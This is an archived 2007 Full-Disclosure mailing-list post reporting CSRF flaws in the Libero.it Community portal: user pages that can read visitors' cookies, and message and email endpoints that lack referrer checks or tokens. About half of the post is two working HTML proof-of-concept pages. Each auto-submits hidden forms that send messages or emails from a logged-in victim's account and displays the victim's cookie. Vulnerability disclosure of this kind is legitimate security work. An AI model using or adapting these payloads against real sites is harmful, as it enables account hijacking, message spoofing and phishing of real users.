Links

Lists

Latest Updates

Ruby On Rails List
Python list
Advanced Java
The JavaScript List
Apache Users
Full Disclosure
Linux Security

Search the archives!
Having a development problem? Ask eDevelopment.org forums!

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Severe CSRF vulnerabilities allow mail/msg spoofing in Libero.it portal

  • From: rosario.valotta at gmail.com (Rosario Valotta)
  • Subject: [Full-disclosure] Severe CSRF vulnerabilities allow mail/msg spoofing in Libero.it portal
  • Date: Mon, 2 Apr 2007 02:31:45 +0200
<--start-->

Other severe vulnerabilities are present on Libero.it (italian ISP)
portal, always  in the Community section.

The portal allows users to create personal web pages with unchecked contents.
These pages will be hosted under digilander.libero.it domain, so that
is possible for an attacker to read and manipulate visitors cookie
(with obvious risks for privacy & phishing opportunities...). This is
a conceptual mistake...

But this is just the beginning: an attacker can use his Libero
personal site to conduct CSRF attacks against Community users; merely
opening the malicious pages can result in:

1-attaccker can send msgs to other community users from victim's account

<HTML>
<BODY>
Ciao!
<form method="POST" id="evil" name="evil"
action="http://digiland.libero.it/msg/inviamsg.php";>
	<input type="hidden" name="destinatario" value="testxss">
	<input type="hidden" name="riferimento" value="NULL">
	<input type="hidden" name="med" value="msg">
	<input type="hidden" name="rispondi" value="">
                     <input type="hidden" name="quale" value="">
                     <input type="hidden" name="firma" value="0">
                     <input type="hidden" name="messaggio" value="CSRFmsg">
                     <input type="hidden" name="paperv" value="0">
 </form>
<SCRIPT>
	alert(document.cookie);
                  	document.evil.submit();

</SCRIPT>
</BODY>
</HTML>

2- attacker can send e-mails to other community users using victim's account

<HTML>
<BODY>
Ciao!
<img src="http://digiland.libero.it/msg/inviamsg.php?destinatario=testxss&riferimento=NULL&med=msg&rispondi=&quale=&firma=0&messaggio=CSRFmsg&paperv=0";>
  <form method="POST" id="evil" name="evil"
action="http://digiland.libero.it/inviamail.php";>
	<input type="hidden" name="nick" value="testxss">
	<input type="hidden" name="proviene" value="1">
	<input type="hidden" name="oggetto" value="CSRFmail">
	<input type="hidden" name="corpo" value="Who sent this mail?">
 </form>
<SCRIPT>
	alert(document.cookie);
                  	document.evil.submit();

</SCRIPT>
</BODY>
</HTML>

In both cases neither Referrer nor unique tokens are used to prevent CSRF.

POC (until not deleted) can be found at :

http://digilander.libero.it/testxss/demo/img.htm
http://digilander.libero.it/testxss/demo/img2.htm

both require you're logged in libero Community.

Greetings,
Rosario Valotta

rosario.valotta at gmail dot com

<---end-->